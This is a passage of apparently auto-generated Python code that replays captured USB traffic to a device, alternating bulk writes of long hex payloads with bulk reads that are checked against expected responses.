b\"\\x82\\xFD\\x64\\xDE\\x14\\xBA\\x8D\\xA2\\x65\\x4C\\xB3\\x6F\\x2A\\xDD\\xEB\\xF3\"\n b\"\\x39\\xAC\\x53\\xDF\\x33\\x95\\x84\\x98\\x41\\xED\\x78\\x13\\x7F\\xCC\\xC4\\xFD\"\n b\"\\xF5\\x4E\\x32\\x72\\x9C\\xFB\\xF2\\x9C\\xB0\\x8A\\xBE\\x58\\x03\\x92\\x83\\x0C\"\n b\"\\x17\\x1A\\x22\\xE6\\x64\\x4A\\x16\\xD7\\xCE\\xB3\\x65\\xF9\\x33\\x4A\\x4F\\xC3\"\n b\"\\x24\\xC5\\x70\\xD3\\x6B\\x32\\x5F\\xDC\\xD6\\x29\\x87\\x6A\\x05\\x47\\x78\\x23\"\n b\"\\x4C\\xC3\\x6F\\xAC\\x4D\\xF9\\x28\\x0A\\x4D\\x6F\\xF5\\xF2\\xA9\\x9B\\xC8\\x2D\"\n b\"\\x03\\x5E\\x1C\\x24\\xBB\\x47\\x41\\x7E\\x68\\xD1\\xEE\\x3B\\x95\\x6A\\x3D\\x28\"\n b\"\\x02\\x7E\\x87\\x22\\x3E\\x28\\xD9\\x9A\\x5E\\x1D\\xFA\\x03\\x14\\xDD\\x14\\x99\"\n b\"\\x90\\x11\\x79\\x8C\\x07\\x3D\\x8F\\xA4\\x2E\\x15\\x7D\\x87\\x06\\xBF\\x8C\\x72\"\n b\"\\x5C\\x18\\x5F\\x60\\x95\\x16\\x51\\x5C\\x9B\\x5C\\xAC\\xB7\\x9A\\x1F\\xBB\\xAF\"\n b\"\\x18\\x6D\\x35\\x1E\\x9D\\xC5\\xA8\\xBA\\x2A\\x0E\\xA3\\xB4\\xBE\\x00\\x09\\xE0\"\n b\"\\x50\\xFF\\x53\\xA8\\xDD\\xA2\\x9D\\xAA\\xE6\\xDD\\xEB\\xC5\\x8E\\xB4\\x12\\xDE\"\n b\"\\x77\\xF3\\x04\\xF1\\xEC\\x77\\x33\\x93\\xA7\\xC2\\x5A\\x8F\\x60\\x43\\x5D\\xFA\"\n b\"\\x3C\\x02\\x08\\xE3\\xAE\\x32\\xF4\\x88\\x51\\x2B\\x41\\x6A\\xE5\\x7A\\x12\\x3E\"\n b\"\\x97\\xC6\\xA2\\x49\\x30\\x72\\xFD\\x4A\\xA2\\xBB\\x02\\x8D\\x31\\x74\\x1C\\x4F\"\n b\"\\xFC\\xA9\\x4A\\x43\\x0D\\x38\\x36\\x01\\x37\\x83\\x9D\\xEA\")\n # Generated from packet 3703/3704\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3703/3704\")\n # Generated from packet 3705/3706\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2E\\x74\\x5D\\x97\\x49\\x6F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x30\\x38\\xF2\\x7E\\x74\\xEE\\x74\\x87\"\n b\"\\x19\\x69\\xD5\\x12\\x0C\\x90\\xEA\\xF3\\xD5\\xA0\\x1B\\x9D\\x7B\\x26\\x4C\\x68\"\n b\"\\x2F\\x9D\\x44\\x8A\\x78\\x03\\xDD\\x45\\xC7\\xC2\\x34\\x57\\x53\\x45\\x38\\x8B\"\n b\"\\x9B\\x12\\x15\\xBD\\xA1\\xF1\\x92\\xEE\\x27\\x2F\\x27\\xB6\\x2E\\x7E\\x41\\xA0\"\n b\"\\x37\\x00\\xE6\\x29\\x14\\xA4\\x40\\x6B\\x4F\\xCC\\x85\\x82\\x87\\x69\\xBF\\x5C\"\n b\"\\x4D\\x33\\x29\\x1B\\xA4\\x4F\\x58\\xED\\x9A\\x82\\x17\\x7C\\xC2\\x1E\\x04\\x0D\"\n b\"\\x7A\\x32\\x0E\\x34\\xAD\\x75\\x7C\\x4C\\x51\\xFE\\x42\\x6D\\xED\\x10\\xC8\\xEF\"\n b\"\\x1B\\x9F\\xA1\\x5A\\xDB\\x71\\x8D\\x2B\\x97\\xB5\\x3E\\x33\\xAA\\xE1\\x2A\\xBB\"\n b\"\\x0B\\x0B\\x59\\xEB\\x3F\\x3A\\xF3\\x12\\x4C\\x14\\x0E\\xEB\\x66\\x2E\\x19\\x64\"\n b\"\\x59\\x3E\\x56\\x93\\x76\\x31\\xEB\\x88\\xAE\\x87\\x38\\xE6\\x51\\xCE\\x71\\x62\"\n b\"\\x46\\x41\\x70\\x58\\x01\\xE7\\x70\\xCE\\xDC\\x1F\\x94\\x3A\\xE1\\xC0\\x3E\\xFF\"\n b\"\\x35\\xC9\\x86\\xE6\\x68\\x93\\x55\\x70\\xC7\\xD6\\xA8\\xCB\\x14\\xC5\\x3F\\xDF\"\n b\"\\xAE\\xCF\\x03\\x89\\xF0\\x77\\x63\\xBC\\xD3\\xEE\\x29\\x7C\\x3D\\x74\\xAD\\xB0\"\n b\"\\x50\\x61\\x3A\\x9C\\xA6\\x49\\x13\\xB4\\x54\\x6A\\x3B\\x1E\\xA5\\x9F\\x61\\xB9\"\n b\"\\x76\\x8D\\xA8\\xB7\\x78\\xB1\\xA6\\xFD\\x85\\x5A\\xA7\\xBE\\x92\\x42\\x25\\xCC\"\n b\"\\x1C\\xF3\\xA0\\x64\\x81\\x57\\x17\\xAF\\x8A\\x59\\x83\\xA1\\x20\\x0D\\x6D\\x5E\"\n b\"\\x7A\\x45\\xE0\\x03\\xB4\\x47\\xDB\\x7C\\xC2\\x28\\xB3\\x15\")\n # Generated from packet 3707/3708\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3707/3708\")\n # Generated from packet 3709/3710\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7C\\x85\\x4F\\xAB\\x74\\x61\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x60\\xAB\\x25\\xEF\\xA1\\x18\\x57\\x7A\"\n b\"\\x26\\x14\\x8B\\xB2\\x71\\x39\\xBD\\x88\\x92\\xBE\\xEE\\x0E\\x4C\\x0B\\xB6\\x07\"\n b\"\\x1D\\x6D\\xA0\\x1E\\x63\\xCA\\x29\\x3D\\xC7\\x6C\\x6B\\x66\\xAF\\xA9\\x82\\xAE\"\n b\"\\x0A\\x93\\x5C\\x64\\x50\\x05\\x1B\\x8D\\x2C\\x74\\xED\\xB3\\xE1\\x3B\\x7C\\xEB\"\n b\"\\x7D\\x28\\x0D\\x53\\x51\\x22\\x34\\x84\\x16\\x50\\x4C\\x78\\x9D\\x6E\\x6D\\xC4\"\n b\"\\x73\\xE4\\xEF\\x32\\xFC\\x8D\\x5A\\xF2\\x12\\xA1\\x2B\\xBE\\xD6\\x12\\x33\\x83\"\n b\"\\x82\\x06\\xBB\\x22\\x68\\x75\\xEB\\x16\\x59\\xDF\\x12\\x65\\x77\\x22\\xEB\\x4F\"\n b\"\\x4D\\x35\\x64\\x70\\x5D\\x7A\\x93\\x5F\\x52\\xC7\\x88\\x87\\xE4\\x14\\xE6\\x78\"\n b\"\\xAD\\x5D\\x62\\x6F\\x22\\x5C\\x58\\x28\\x84\\x5C\\xCE\\xF5\\x7C\\xB8\\x3A\\xC8\"\n b\"\\xA3\\x12\\xFF\\x1C\\xAA\\xAA\\xE6\\x41\\xF0\\x79\\x70\\xEE\\xB5\\x84\\xCB\\x3D\"\n b\"\\xA6\\x13\\xDF\\x87\\xAC\\x2F\\x89\\xD9\\x14\\x4F\\xBC\\xFA\\x8D\\x05\\x7C\\x14\"\n b\"\\x17\\x81\\xB0\\x79\\x02\\x16\\x9C\\x8F\\x2A\\x3F\\xB4\\x7D\\x09\\x17\\x1E\\x8C\"\n b\"\\xFC\\x4D\\xB9\\x5F\\xEE\\x84\\xB7\\x51\\xD2\\x8A\\xFD\\xAC\\x39\\x8B\\xBE\\xBB\"\n b\"\\x21\\x09\\xCC\\x35\\x90\\x8C\\x64\\xA8\\x34\\x3B\\xAF\\xA3\\x3A\\xAF\\xA1\\x09\"\n b\"\\x6E\\x41\\x5E\\x53\\x26\\xCC\\x03\\x9D\\x24\\xF7\\x7C\\xEB\\x4B\\x9F\\x15\\x12\"\n b\"\\x50\\x66\\x52\\x04\\x7F\\xFD\\xD6\\x33\\x1D\\xB6\\x63\\x5A\\x01\\x71\\xE2\\x5D\"\n b\"\\x74\\x2D\\xA3\\x08\\x6D\\xBF\\x93\\xF4\\x06\\x40\\x8A\\x41\")\n # Generated from packet 3711/3712\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3711/3712\")\n # Generated from packet 3713/3714\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB2\\xD5\\x41\\xBF\\x02\\x05\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBE\\xEF\\xA2\\xC3\\x5D\\xE3\\x04\\xE4\"\n b\"\\x35\\x85\\x1B\\xD9\\x62\\xE8\\x27\\x60\\xCB\\x78\\x91\\xDF\\x92\\x23\\x8B\\xDF\"\n b\"\\x3B\\x5F\\xA9\\xDE\\x7D\\x4E\\x68\\x2D\\xC6\\x27\\x39\\x75\\xBF\\x4E\\x85\\x4D\"\n b\"\\x9D\\x67\\x56\\x19\\xD8\\xC2\\x3E\\xAA\\xE5\\x9F\\xFF\\x19\\xC7\\xB4\\xB4\\x74\"\n b\"\\xB3\\x9B\\x3C\\x68\\x6A\\x5C\\x6D\\x4F\\x3D\\x12\\x10\\xFD\\xBE\\x42\\xEC\\xA9\"\n b\"\\xED\\x43\\x27\\x27\\xC2\\x88\\x4F\\xEC\\xA5\\xA4\\x77\\xEF\\x4B\\x7E\\x88\\xB0\"\n b\"\\x22\\x3E\\x94\\xB0\\x70\\x2B\\xFA\\x6F\\xCD\\xD7\\x5C\\xDF\\x4E\\x71\\x49\\xDF\"\n b\"\\x82\\x45\\xBE\\xD3\\xD0\\xD8\\x85\\xB8\\x06\\xF8\\x3D\\x18\\x21\\x86\\x06\\x4A\"\n b\"\\x55\\x6E\\x1C\\x3F\\x37\\xF1\\x14\\xF6\\x09\\xFE\\x3B\\xE6\\x29\\xF6\\xD1\\x3D\"\n b\"\\xE3\\x22\\xF5\\x76\\x3A\\x39\\x34\\xA7\\x88\\xD4\\x5E\\x0D\\x96\\x74\\x94\\x1F\"\n b\"\\x42\\xD8\\x83\\xC3\\xAF\\xAD\\xC3\\x97\\x8A\\x57\\xD1\\xC6\\x15\\x72\\xA5\\x77\"\n b\"\\x7E\\xD6\\x2E\\xAE\\x20\\xFA\\x56\\x9B\\x97\\xB9\\xEF\\x92\\x3F\\xFD\\x03\\x74\"\n b\"\\xC7\\x90\\x84\\xD5\\x52\\x85\\x7D\\xEA\\xB3\\x5C\\x4D\\x1B\\xDD\\xF2\\xCB\\x4C\"\n b\"\\x28\\xA6\\x70\\x44\\xCA\\xF1\\xEE\\xDD\\x05\\x4E\\x2F\\x34\\x17\\xDA\\xA8\\x38\"\n b\"\\xCB\\x12\\xFF\\x15\\xFD\\x28\\x1C\\x92\\xAE\\xAE\\xC2\\x27\\xF6\\xA7\\x93\\x41\"\n b\"\\xE0\\xBE\\xED\\xE6\\x69\\x9D\\x49\\x40\\x2B\\xC6\\x21\\x85\\xC2\\x0E\\x84\\xBF\"\n b\"\\x1C\\xC4\\xDE\\x29\\x5B\\x2D\\xA2\\x58\\xAD\\x13\\x6F\\x17\")\n # Generated from packet 3715/3716\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3715/3716\")\n # Generated from packet 3717/3718\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD8\\x67\\x6A\\xD3\\x55\\x35\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4C\\x55\\x36\\xD0\\x97\\x05\\x82\\xF5\"\n b\"\\xDC\\xDC\\x99\\x34\\x0D\\x6E\\x74\\x5E\\xA7\\x70\\xD4\\x94\\xB5\\xA4\\x78\\x83\"\n b\"\\x69\\x49\\x0D\\xC3\\x3D\\x6C\\xF7\\xD1\\x6C\\xF3\\xD2\\xA5\\xDD\\x98\\x76\\x2E\"\n b\"\\x04\\xC6\\x5A\\x56\\x31\\x71\\x19\\xEF\\x38\\xD9\\x5D\\x03\\xDE\\x21\\x30\\x84\"\n b\"\\x7F\\xB4\\x25\\x7D\\x40\\x55\\xFC\\x4D\\xB1\\x3B\\x52\\xCB\\xE6\\xCE\\x06\\x70\"\n b\"\\xEE\\x2C\\x51\\xEE\\x77\\xE3\\xEE\\x2F\\x9E\\xF1\\x7A\\xA8\\x92\\x2D\\xB2\\xFF\"\n b\"\\xBF\\x1B\\x88\\x1C\\x38\\x48\\x0E\\xC2\\x8D\\x10\\x07\\x93\\xEB\\x06\\x1E\\xED\"\n b\"\\x4C\\x8F\\x3D\\x49\\xEA\\xCD\\x66\\x21\\x2F\\x24\\xAE\\x84\\x15\\xFA\\x64\\xDE\"\n b\"\\x83\\xBD\\x8D\\xA2\\xF2\\x4B\\xB3\\x6F\\xBD\\xDA\\xEB\\xF3\\xAE\\xAB\\x53\\xDF\"\n b\"\\xA4\\x92\\x84\\x98\\xD6\\xEA\\x78\\x13\\xE8\\xCB\\xC4\\xFD\\x62\\x49\\x32\\x72\"\n b\"\\x0B\\xFC\\xF2\\x9C\\x27\\x8D\\xBE\\x58\\x94\\x95\\x83\\x0C\\x80\\x1D\\x22\\xE6\"\n b\"\\xF3\\x4D\\x16\\xD7\\x59\\xB4\\x65\\xF9\\xA4\\x4D\\x4F\\xC3\\xB3\\xC2\\x70\\xD3\"\n b\"\\xFC\\x35\\x5F\\xDC\\x41\\x2E\\x87\\x6A\\x92\\x40\\x78\\x23\\xDB\\xC4\\x6F\\xAC\"\n b\"\\xDA\\xFE\\x28\\x0A\\xDA\\x68\\xF5\\xF2\\x3E\\x9C\\xC8\\x2D\\x94\\x59\\x1C\\x24\"\n b\"\\x2C\\x40\\x41\\x7E\\xFF\\xD6\\xEE\\x3B\\x02\\x6D\\x3D\\x28\\x95\\x79\\x87\\x22\"\n b\"\\xA9\\x2F\\xD9\\x9A\\xC9\\x1A\\xFA\\x03\\x83\\xDA\\x14\\x99\\x07\\x16\\x79\\x8C\"\n b\"\\x90\\x3A\\x8F\\xA4\\xB9\\x12\\x7D\\x87\\x91\\xB8\\x8C\\x72\")\n # Generated from packet 3719/3720\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3719/3720\")\n # Generated from packet 3721/3722\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x16\\x37\\x64\\xC7\\xD2\\x77\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4A\\xA9\\x9E\\xE3\\xB6\\x47\\xAD\\xE3\"\n b\"\\x7D\\xC9\\x82\\x28\\x15\\x02\\xE5\\x04\\x2D\\x01\\x0B\\xDE\\xD2\\x5E\\x62\\x9E\"\n b\"\\xCE\\x5E\\x30\\x8B\\xA0\\x81\\x8D\\x77\\x06\\x31\\x0E\\xD1\\x13\\x31\\xC2\\xE5\"\n b\"\\xE4\\x3D\\x90\\x78\\xDF\\x56\\x46\\x58\\x67\\xF6\\x61\\x26\\x5C\\xA4\\x15\\xCE\"\n b\"\\x46\\xD1\\x77\\x51\\x4E\\x18\\x49\\x5E\\x61\\x08\\x69\\x56\\x8B\\xD3\\xA3\\x82\"\n b\"\\xAF\\x98\\x7A\\x99\\x6E\\x49\\xC8\\x74\\x04\\xE3\\xD6\\xD4\\xCE\\xF1\\x02\\x78\"\n b\"\\xD9\\x2D\\xEF\\x0D\\x99\\x79\\xCA\\xF7\\x8B\\x28\\x55\\xD2\\xFF\\x99\\x3E\\x76\"\n b\"\\x74\\x40\\x60\\x5A\\x0C\\x75\\xD7\\x19\\xB5\\x7C\\x7F\\x5D\\x59\\x9A\\x87\\x30\"\n b\"\\xDE\\x3B\\x12\\x25\\x27\\x04\\xF3\\xFC\\x17\\xF5\\x9D\\x52\\x91\\xA2\\x68\\x06\"\n b\"\\x2A\\xAA\\x8A\\x51\\xB4\\x33\\x45\\xEE\\x75\\xDA\\x57\\x7A\\xF2\\xD6\\x8B\\xB2\"\n b\"\\xA5\\xFB\\xBD\\x88\\x46\\x7C\\xEE\\x0E\\x98\\xC9\\xB6\\x07\\xC9\\xAF\\xA0\\x1E\"\n b\"\\xB7\\x08\\x29\\x3D\\x13\\xAE\\x6B\\x66\\x7B\\x6B\\x82\\xAE\\xDE\\x51\\x5C\\x64\"\n b\"\\x84\\xC7\\x1B\\x8D\\xF8\\xB6\\xED\\xB3\\x35\\xF9\\x7C\\xEB\\xA9\\xEA\\x0D\\x53\"\n b\"\\x85\\xE0\\x34\\x84\\xC2\\x92\\x4C\\x78\\x49\\xAC\\x6D\\xC4\\xA7\\x26\\xEF\\x32\"\n b\"\\x28\\x4F\\x5A\\xF2\\xC6\\x63\\x2B\\xBE\\x02\\xD0\\x33\\x83\\x56\\xC4\\xBB\\x22\"\n b\"\\xBC\\xB7\\xEB\\x16\\x8D\\x1D\\x12\\x65\\xA3\\xE0\\xEB\\x4F\\x99\\xF7\\x64\\x70\"\n b\"\\x89\\xB8\\x93\\x5F\\x86\\x05\\x88\\x87\\x30\\xD6\\xE6\\x78\")\n # Generated from packet 3723/3724\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3723/3724\")\n # Generated from packet 3725/3726\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x44\\xC6\\x76\\xFB\\xAC\\x08\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xCF\\x8D\\xFB\\xD6\\x8C\\xEE\\x92\\x7F\"\n b\"\\xC8\\x02\\x74\\x87\\xA5\\x85\\xD5\\x12\\xB0\\x7C\\xEA\\xF3\\x69\\x4C\\x1B\\x9D\"\n b\"\\xC7\\xCA\\x4C\\x68\\x93\\x71\\x44\\x8A\\xC4\\xEF\\xDD\\x45\\x7B\\x2E\\x34\\x57\"\n b\"\\xEF\\xA9\\x38\\x8B\\x27\\xFE\\x15\\xBD\\x1D\\x1D\\x92\\xEE\\x9B\\xC3\\x27\\xB6\"\n b\"\\x92\\x92\\x41\\xA0\\x8B\\xEC\\xE6\\x29\\xA8\\x48\\x40\\x6B\\xF3\\x20\\x85\\x82\"\n b\"\\x3B\\x85\\xBF\\x5C\\xF1\\xDF\\x29\\x1B\\x18\\xA3\\x58\\xED\\x26\\x6E\\x17\\x7C\"\n b\"\\x7E\\xF2\\x04\\x0D\\xC6\\xDE\\x0E\\x34\\x11\\x99\\x7C\\x4C\\xED\\x12\\x42\\x6D\"\n b\"\\x51\\xFC\\xC8\\xEF\\xA7\\x73\\xA1\\x5A\\x67\\x9D\\x8D\\x2B\\x2B\\x59\\x3E\\x33\"\n b\"\\x16\\x0D\\x2A\\xBB\\xB7\\xE7\\x59\\xEB\\x83\\xD6\\xF3\\x12\\xF0\\xF8\\x0E\\xEB\"\n b\"\\xDA\\xC2\\x19\\x64\\xE5\\xD2\\x56\\x93\\xCA\\xDD\\xEB\\x88\\x12\\x6B\\x38\\xE6\"\n b\"\\xED\\x22\\x71\\x62\\xFA\\xAD\\x70\\x58\\xBD\\x0B\\x70\\xCE\\x60\\xF3\\x94\\x3A\"\n b\"\\x5D\\x2C\\x3E\\xFF\\x89\\x25\\x86\\xE6\\xD4\\x7F\\x55\\x70\\x7B\\x3A\\xA8\\xCB\"\n b\"\\xA8\\x29\\x3F\\xDF\\x12\\x23\\x03\\x89\\x4C\\x9B\\x63\\xBC\\x6F\\x02\\x29\\x7C\"\n b\"\\x81\\x98\\xAD\\xB0\\xEC\\x8D\\x3A\\x9C\\x1A\\xA5\\x13\\xB4\\xE8\\x86\\x3B\\x1E\"\n b\"\\x19\\x73\\x61\\xB9\\xCA\\x61\\xA8\\xB7\\xC4\\x5D\\xA6\\xFD\\x39\\xB6\\xA7\\xBE\"\n b\"\\x2E\\xAE\\x25\\xCC\\xA0\\x1F\\xA0\\x64\\x3D\\xBB\\x17\\xAF\\x36\\xB5\\x83\\xA1\"\n b\"\\x9C\\xE1\\x6D\\x5E\\xC6\\xA9\\xE0\\x03\\x08\\xAB\\xDB\\x7C\")\n # Generated from packet 3727/3728\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3727/3728\")\n # Generated from packet 3729/3730\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8A\\x96\\x78\\xEF\\x1A\\x15\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9E\\x9F\\x36\\x18\\xDB\\xC0\\x3E\\xAA\"\n b\"\\xE6\\x9D\\xFF\\x19\\xC4\\xB6\\xB4\\x74\\xB0\\x99\\x3C\\x68\\x69\\x5E\\x6D\\x4F\"\n b\"\\x3E\\x10\\x10\\xFD\\xBD\\x40\\xEC\\xA9\\xEE\\x41\\x27\\x27\\xC1\\x8A\\x4F\\xEC\"\n b\"\\xA6\\xA6\\x77\\xEF\\x48\\x7C\\x88\\xB0\\x21\\x3C\\x94\\xB0\\x73\\x29\\xFA\\x6F\"\n b\"\\xCE\\xD5\\x5C\\xDF\\x4D\\x73\\x49\\xDF\\x81\\x47\\xBE\\xD3\\xD3\\xDA\\x85\\xB8\"\n b\"\\x05\\xFA\\x3D\\x18\\x22\\x84\\x06\\x4A\\x56\\x6C\\x1C\\x3F\\x34\\xF3\\x14\\xF6\"\n b\"\\x0A\\xFC\\x3B\\xE6\\x2A\\xF4\\xD1\\x3D\\xE0\\x20\\xF5\\x76\\x39\\x3B\\x34\\xA7\"\n b\"\\x8B\\xD6\\x5E\\x0D\\x95\\x76\\x94\\x1F\\x41\\xDA\\x83\\xC3\\xAC\\xAF\\xC3\\x97\"\n b\"\\x89\\x55\\xD1\\xC6\\x16\\x70\\xA5\\x77\\x7D\\xD4\\x2E\\xAE\\x23\\xF8\\x56\\x9B\"\n b\"\\x94\\xBB\\xEF\\x92\\x3C\\xFF\\x03\\x74\\xC4\\x92\\x84\\xD5\\x51\\x87\\x7D\\xEA\"\n b\"\\xB0\\x5E\\x4D\\x1B\\xDE\\xF0\\xCB\\x4C\\x2B\\xA4\\x70\\x44\\xC9\\xF3\\xEE\\xDD\"\n b\"\\x06\\x4C\\x2F\\x34\\x14\\xD8\\xA8\\x38\\xC8\\x10\\xFF\\x15\\xFE\\x2A\\x1C\\x92\"\n b\"\\xAD\\xAC\\xC2\\x27\\xF5\\xA5\\x93\\x41\\xE3\\xBC\\xED\\xE6\\x6A\\x9F\\x49\\x40\"\n b\"\\x28\\xC4\\x21\\x85\\xC1\\x0C\\x84\\xBF\\x1F\\xC6\\xDE\\x29\\x58\\x2F\\xA2\\x58\"\n b\"\\xAE\\x11\\x6F\\x17\\x3F\\x49\\xF3\\x04\\x4E\\xF1\\xDF\\x0E\\x77\\x26\\x98\\x7C\"\n b\"\\x0F\\xDA\\x13\\x42\\x2E\\x66\\xFD\\xC8\\xAC\\x90\\x72\\xA1\\x19\\x50\\x9C\\x8D\"\n b\"\\x68\\x1C\\x58\\x3E\\x70\\x21\\x0C\\x2A\\xF8\\x80\\xE6\\x59\")\n # Generated from packet 3731/3732\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3731/3732\")\n # Generated from packet 3733/3734\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x90\\xA2\\x21\\x23\\x0B\\x1B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4C\\xFE\\xE7\\x38\\x14\\x9C\\xEE\\x85\"\n b\"\\x2C\\xBE\\xC7\\x56\\x78\\xFB\\x62\\x3E\\xCB\\xC6\\x3F\\xFF\\x78\\xE4\\x14\\xB4\"\n b\"\\x15\\x90\\x3B\\x3C\\x09\\x49\\xFC\\x6D\\x2E\\x1E\\xB2\\x10\\x9C\\x9D\\xE2\\xEC\"\n b\"\\xC8\\xCE\\xE3\\x27\\x46\\xE1\\x28\\x4F\\x8D\\x86\\x04\\x77\\x8E\\x68\\xDE\\x88\"\n b\"\\xD1\\x01\\x9E\\x94\\xD1\\x53\\x8B\\xFA\\x0E\\xEE\\x77\\x5C\\xBE\\x6D\\xD1\\x49\"\n b\"\\xBE\\xA1\\xE5\\xBE\\xB2\\xF3\\x78\\x85\\xD9\\x25\\x58\\x3D\\x79\\x02\\x26\\x06\"\n b\"\\x2B\\x76\\xCE\\x1C\\x5E\\x14\\x51\\x14\\x97\\x2A\\x5E\\x3B\\x87\\x0A\\x56\\xD1\"\n b\"\\x5C\\xC0\\x82\\xF5\\x17\\x19\\x99\\x34\\xC6\\xAB\\x74\\x5E\\x6C\\xB5\\xD4\\x94\"\n b\"\\x7E\\x61\\x78\\x83\\xA2\\x8C\\x0D\\xC3\\xF6\\xA9\\xF7\\xD1\\xA7\\x36\\xD2\\xA5\"\n b\"\\x16\\x5D\\x76\\x2E\\xCF\\x03\\x5A\\x56\\xFA\\xB4\\x19\\xEF\\xF3\\x1C\\x5D\\x03\"\n b\"\\x15\\xE4\\x30\\x84\\xB4\\x71\\x25\\x7D\\x8B\\x90\\xFC\\x4D\\x7A\\xFE\\x52\\xCB\"\n b\"\\x2D\\x0B\\x06\\x70\\x25\\xE9\\x51\\xEE\\xBC\\x26\\xEE\\x2F\\x55\\x34\\x7A\\xA8\"\n b\"\\x59\\xE8\\xB2\\xFF\\x74\\xDE\\x88\\x1C\\xF3\\x8D\\x0E\\xC2\\x46\\xD5\\x07\\x93\"\n b\"\\x20\\xC3\\x1E\\xED\\x87\\x4A\\x3D\\x49\\x21\\x08\\x66\\x21\\xE4\\xE1\\xAE\\x84\"\n b\"\\xDE\\x3F\\x64\\xDE\\x48\\x78\\x8D\\xA2\\x39\\x8E\\xB3\\x6F\\x76\\x1F\\xEB\\xF3\"\n b\"\\x65\\x6E\\x53\\xDF\\x6F\\x57\\x84\\x98\\x1D\\x2F\\x78\\x13\\x23\\x0E\\xC4\\xFD\"\n b\"\\xA9\\x8C\\x32\\x72\\xC0\\x39\\xF2\\x9C\\xEC\\x48\\xBE\\x58\")\n # Generated from packet 3735/3736\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3735/3736\")\n # Generated from packet 3737/3738\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5E\\xF2\\x2F\\x37\\xF7\\x0E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2E\\xDD\\x9E\\x34\\x3C\\x03\\x1D\\x43\"\n b\"\\xFA\\x25\\x75\\x25\\xE5\\x18\\x22\\x48\\xD9\\xA1\\x8B\\xD8\\x6F\\x1E\\xD2\\x83\"\n b\"\\x75\\x1E\\x7B\\xFF\\x57\\x1F\\x3D\\xEE\\x96\\xEC\\x86\\x87\\xC7\\xB4\\xFF\\xEE\"\n b\"\\x7B\\x8C\\xDD\\xC7\\xA8\\xD8\\x98\\x62\\xC0\\x6B\\xA5\\x3F\\x01\\xD8\\x87\\x14\"\n b\"\\x4A\\xB5\\xF3\\x3B\\xC2\\xA9\\x2A\\xFC\\x93\\x8E\\x7D\\xB2\\xEE\\x3C\\xFE\\xE2\"\n b\"\\x12\\x68\\xAD\\xE3\\xD9\\xE6\\x82\\x28\\xB1\\x2D\\xE5\\x04\\x89\\x2E\\x0B\\xDE\"\n b\"\\x76\\x71\\x62\\x9E\\x6A\\x71\\x30\\x8B\\x04\\xAE\\x8D\\x77\\xA2\\x1E\\x0E\\xD1\"\n b\"\\xB7\\x1E\\xC2\\xE5\\x40\\x12\\x90\\x78\\x7B\\x79\\x46\\x58\\xC3\\xD9\\x61\\x26\"\n b\"\\xF8\\x8B\\x15\\xCE\\xE2\\xFE\\x77\\x51\\xEA\\x37\\x49\\x5E\\xC5\\x27\\x69\\x56\"\n b\"\\x2F\\xFC\\xA3\\x82\\x0B\\xB7\\x7A\\x99\\xCA\\x66\\xC8\\x74\\xA0\\xCC\\xD6\\xD4\"\n b\"\\x6A\\xDE\\x02\\x78\\x7D\\x02\\xEF\\x0D\\x3D\\x56\\xCA\\xF7\\x2F\\x07\\x55\\xD2\"\n b\"\\x5B\\xB6\\x3E\\x76\\xD0\\x6F\\x60\\x5A\\xA8\\x5A\\xD7\\x19\\x11\\x53\\x7F\\x5D\"\n b\"\\xFD\\xB5\\x87\\x30\\x7A\\x14\\x12\\x25\\x83\\x2B\\xF3\\xFC\\xB3\\xDA\\x9D\\x52\"\n b\"\\x35\\x8D\\x68\\x06\\x8E\\x85\\x8A\\x51\\x10\\x1C\\x45\\xEE\\xD1\\xF5\\x57\\x7A\"\n 